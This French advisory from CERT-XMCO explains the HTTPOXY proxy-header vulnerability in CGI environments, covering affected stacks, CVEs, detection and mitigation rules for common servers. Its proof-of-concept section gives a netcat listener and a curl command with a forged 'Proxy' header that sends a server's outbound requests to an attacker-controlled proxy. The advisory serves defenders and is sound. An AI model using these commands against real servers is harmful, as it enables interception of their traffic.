HTTPOXY une énième faille médiatisée

HTTPOXY une énième faille médiatisée

Début juillet, la faille HTTPOXY est rapportée aux développeurs, quelques jours plus tard elle est dévoilée au grand public, accompagnée de son logo et son site web.
HTTPOXY est issue d’un conflit de nom entre deux variables d’environnement (système et CGI). Elle permet selon certaines conditions d’intercepter des données et de réaliser une attaque Man-In-The-Middle.

1. Qu’est-ce que CGI et où est-il utilisé ?

CGI (« Common Gateway Interface ») est un standard conçu pour générer des pages web dynamiques. Pour se faire, CGI définit une interface permettant à des serveurs web HTTP (Apache, nginx, etc.) de communiquer avec des scripts exécutables (ou fichiers binaires) en vue de générer le contenu d’une page de manière dynamique, en fonction des différents paramètres (paramètres HTTP, mais également d’autres paramètres « techniques » comme l’origine de la requête, etc.).
Bien qu’historiquement développé en Perl, CGI est indépendant de tout langage de développement : les scripts CGI peuvent être écrit en PHP, Python, Ruby, Perl, etc.

2. Quels environnements CGI sont vulnérables (SCGI, FastCGI, WSGI) ?

La vulnérabilité dépend de l’environnement CGI, de la bibliothèque HTTP utilisée pour envoyer les requêtes, et par conséquent du langage dans lequel elles sont disponibles.

Par exemple, dans le cas de WSGI, les valeurs spécifiées par l’utilisateur sont placées dans une variable dédiée baptisée « environ ». Il n’y a donc pas de possibilité de conflit avec le conteneur de la variable d’environnement système « HTTP_PROXY » accessible via os.environ[‘HTTP_PROXY’] lorsqu’un en-tête HTTP de la forme Proxy: foo est reçu. En conséquence, quelle que soit la bibliothèque utilisée pour envoyer une requête HTTP, les applications fonctionnant au travers de WSGI ne sont pas vulnérables.

CGI :

  • Vulnérable sous PHP (en utilisant php-fpm ou mod_php, et le client Guzzle 4+ ou Artax)
  • Vulnérable sous Python (CGI-handler ou mod_cgi, et le client requests)
  • Vulnérable sous Go (net/httpd/cgi ou mod_cgi, et le client net/http)

FastCGI :

  • Vulnérable sous PHP (HHVM)
  • Non vulnérable sous Python
  • Non vulnérable sous Go (net/http/fcgi)

WSGI

  • Non vulnérable

Note : Les langages web Microsoft (ex : ASP.net) ne sont pas vulnérables. Cependant si vous utilisez des modules PHP et des librairies tierces, nous vous recommandons d’appliquer tout de même les solutions de contournement.

3. Quelle est la vulnérabilité et que permet-elle de faire ?

La vulnérabilité provient d’un conflit de nom entre deux variables d’environnement (variable HTTP/CGI et variable système), et notamment celles liées aux serveurs proxy. En spécifiant une variable dans la requête HTTP, il est possible de forcer le système à écraser le contenu de la variable d’environnement système, permettant alors à un attaquant de rediriger une partie du trafic ou de réaliser une attaque de type « Man-in-The-Middle ».

Pour expliquer la vulnérabilité, nous allons présenter deux types de variables d’environnement.

3.1 Les variables d’environnement système

Il existe une variable d’environnement interne au système appelé HTTP_PROXY utilisée afin de définir les paramètres de proxy HTTP (ou HTTPS) à une application. Ces paramètres seront utilisés par des bibliothèques, applications, modules, scripts, y compris CGI, afin de diriger correctement le trafic HTTP sortant vers le bon point de sortie.

3.2 Les variables d’environnement CGI (issues des requêtes HTTP)

Un autre type de variable d’environnement appelée « Request Meta-Variables » sera généré par le serveur HTTP pour définir l’environnement d’exécution du script CGI. Par exemple, lorsqu’une requête est envoyée au serveur HTTP, celui-ci l’analyse, puis stocke certaines informations dans des variables à destination du script CGI. Il lui transmettra par exemple le type de contenu, le port TCP, la méthode de requêtes (GET ou POST), etc. Ces variables sont respectivement intitulées :

  • CONTENT_TYPE
  • SERVER_PORT
  • REQUEST_METHOD

D’autres informations arbitraires issues de requêtes peuvent être transmises au script CGI. Celles-ci sont définit dans la RFC CGI sous la forme d’une sous-classe baptisée « Protocol-Specific Meta-Variables ». Ainsi, l’ensemble des en-têtes HTTP reçu, et ne correspondant pas aux en-têtes HTTP classiques, sont transmis sous cette forme : par exemple le paramètre « cookie ».
La correspondance de l’en-tête avec les variables d’environnement suit une procédure standard :

  1. le nom de l’en-tête HTTP est converti en majuscule ;
  2. « – » est remplacé par « _ » ;
  3. le tout est préfixé par « HTTP_ ».

De ce fait, notre en-tête « cookie » sera converti en : « HTTP_COOKIE »
Avec l’en-tête « proxy », cela donnera une variable d’environnement de type Protocol-Specific Meta-Variables : « HTTP_PROXY ».

En résumé, nous avons donc deux variables d’environnement portant le même nom :

  • une interne au système « HTTP_PROXY ». Spécifiant le serveur proxy à utiliser pour les flux HTTP sortants ;
  • une de type Protocol-Specific Meta-Variables « HTTP_PROXY » spécifiant le serveur proxy utilisé par le client pour envoyer sa requête au serveur.

Ces deux variables, complètement différentes de par leur même nom, rentrent en conflit.

3.3 Le dysfonctionnement : conflit de nom « HTTP_PROXY ».

Le problème réside dans le fait que CGI ne distingue pas les deux types de variables.

Un script CGI (ou un module, ou bibliothèque) lit la variable d’environnement « HTTP_PROXY » (celle de type Protocol-Specific Meta-Variables) et suppose qu’elle contient les paramètres de Proxy HTTP « système ». Cette valeur mal interprétée changera alors la manière dont les nouvelles requêtes HTTP seront traitées par le script CGI pour le processus en cours.

3.4 Conséquences

Concrètement, un utilisateur malveillant sera en mesure d’envoyer au script CGI vulnérable une requête HTTP dont l’en-tête contiendra un serveur proxy sous le contrôle de l’attaquant.

Dans les faits :

  1. Le serveur HTTP reçoit la requête, exécute la procédure habituelle
  2. Stockage du proxy dans la variable d’environnement (meta-variable) « HTTP_PROXY »
  3. Appel du script CGI. Celui-ci confond la variable d’environnement avec la variable système et se configure automatiquement afin d’utiliser le serveur proxy spécifié.
  4. Et pour finir, si le script effectue des requêtes HTTP, alors ces requêtes transiteront par le serveur proxy de l’attaquant qui sera alors en mesure d’intercepter le trafic ou de réaliser une attaque de type « Man-in-The-Middle ».

4. Quand la faille a-t-elle été découverte ?

La faille a été découverte et corrigée en 2001 sur deux applications : la librairie libwww-perl et curl.
Ponctuellement, différents développeurs ont identifié ce problème dans le cadre de leurs projets respectifs (Nginx, Ruby, etc.), et on prit les mesures nécessaires (ou pas) pour gérer correctement ce conflit.

5. Pourquoi ne parle-t-on de la faille que maintenant ?

Oubliée pendant près de 10 ans, elle refait surface en 2013 et 2015 sur Apache et nginx.
Mais ce n’est que depuis cette année (fin juillet 2016) qu’elle sera dévoilée au grand public et corrigée de manière globale.

6. Comment se déroule l’exploitation de cette vulnérabilité (PoC) ?

L’exploitation de la vulnérabilité est très simple. Pour ce faire, nous allons reproduire le POC disponible sur le GitHub d’HTTPoxy.

6.1 POC PHP issu d’HTTPOXY.ORG

1. Télécharger/créer l’image Docker et lancer l’instance

git clone https://github.com/httpoxy/php-fpm-httpoxy-poc.git
cd php-fpm-httpoxy-poc/
docker build -t fpm-guzzle-proxy .
docker run -d -p 80:80 --name fpm-test-instance fpm-guzzle-proxy

2. Mettre en place notre pseudo proxy avec netcat

nc -l -p 12345

3. Récupérer l’adresse IP du point de vue de Docker (pseudo serveur proxy)

ifconfig

4. Envoyer une requête forgée afin de déclencher la vulnérabilité

curl -H 'Proxy: 172.16.10.170:12345/' http://127.0.0.1/

6.2 POC avancé

Nous avons également réalisé une maquette pour détailler de manière plus compréhensible le scénario d’attaque. Celle-ci sera présentée en détail dans le prochain numéro de l’ActuSécu (#44).

7. L’exploitation de cette faille laisse-t-elle des traces ?

Oui ! L’exploitation laisse potentiellement des traces. L’envoi du header HTTP malveillant pourra être stocké dans les fichiers de log du serveur web. L’adresse IP du proxy de l’attaquant pourra également y être présente.

Cependant, les logs applicatifs standards ne stockent pas l’en-tête « proxy » bien qu’il soit possible de les rajouter au cas par cas en fonction des serveurs.

Pour nginx :

# define 'proxylog' format in the http{} context:
log_format proxylog '$remote_addr - $remote_user [$time_local] '
                    '"$request" $status $body_bytes_sent '
                    '"$http_referer" "$http_user_agent" '
                    '"$http_proxy"';

# log requests with a Proxy header using the 'proxylog' format
access_log /var/log/nginx/badactor.log proxylog if=$http_proxy;

8. Existe-t-il des codes d’exploitation disponibles publiquement ?

À ce jour aucun code d’exploitation n’a été publié.

9. Comment savoir si mon système est vulnérable ?

Afin de diagnostiquer la vulnérabilité, installez temporairement le script Test.cgi suivant, et rendez-le exécutable :

#!/bin/sh
echo "Content-Type:text/plain"
echo ""
echo "HTTP_PROXY='$HTTP_PROXY'"

Faites ensuite appel au script en effectuant une requête HTTP utilisant l’en-tête « Proxy » vulnérable :

curl -H ‘Proxy: AFFECTED’ http://my-server-name/cgi-bin/test.cgi

Si vous voyez la sortie suivante, votre serveur n’est pas affecté :

HTTP_PROXY="

En revanche si vous voyez la sortie suivante, ou tout autre sortie, votre serveur peut être affecté :

HTTP_PROXY='AFFECTED'

Dans ce cas, il est nécessaire d’appliquer l’une des solutions de contournement ci-dessous.

 

10. Comment s’en protéger ?

La meilleure solution de contournement est de bloquer les en-têtes « proxy » des requêtes HTTP, et ce avant même qu’elles atteignent votre application. La manœuvre est simple et sûre.

Voilà les procédures à suivre pour les environnements les plus connus :

  • NGINX/FastCGI
fastcgi_param HTTP_PROXY "";
  • Apache (mod_cgi, mod_php), via l’utilisation de mod_headers (au sein d’un .htaccess) :
RequestHeader unset Proxy early
  • Apache (mod_security)
SecRule &REQUEST_HEADERS:Proxy "@gt 0" "id:1000005,log,deny,msg:'httpoxy denied'"
  • Varnish
sub vcl_recv {
    [...]
    unset req.http.proxy;
    [...]
}
  • OpenBSD relayd
http protocol httpfilter {
        match request header remove "Proxy"
}
  • Microsoft IIS (avec PHP ou un environnement CGI)
appcmd set config /section:requestfiltering /+requestlimits.headerLimits.[header='proxy',sizelimit='0']

Vous pourrez trouver plus d’informations sur les procédures indiquées en suivant le lien suivant. Ainsi que les méthodes de mitigation pour d’autres serveurs web à l’adresse suivante.

12. Quelles sont les recommandations du CERT-XMCO ?

La faille requiert beaucoup de conditions afin d’être réellement exploitable (système utilisant une version de CGI vulnérable et un script CGI émettant lui-même des requêtes HTTP vers un autre serveur ; ce qui est d’autant plus rare).

Le CERT-XMCO vous recommande cependant d’appliquer les derniers correctifs de sécurité disponible pour votre environnement, ou à minima les solutions de contournement détaillées ci-dessus.


Sources

Références CVE associées

  • CVE-2016-5385 : PHP
  • CVE-2016-5386 : Go
  • CVE-2016-5387 : Apache HTTP Server
  • CVE-2016-5388 : Apache Tomcat
  • CVE-2016-1000109 : HHVM
  • CVE-2016-1000110 : Python

Jean-Christophe Pellat

Cert-XMCO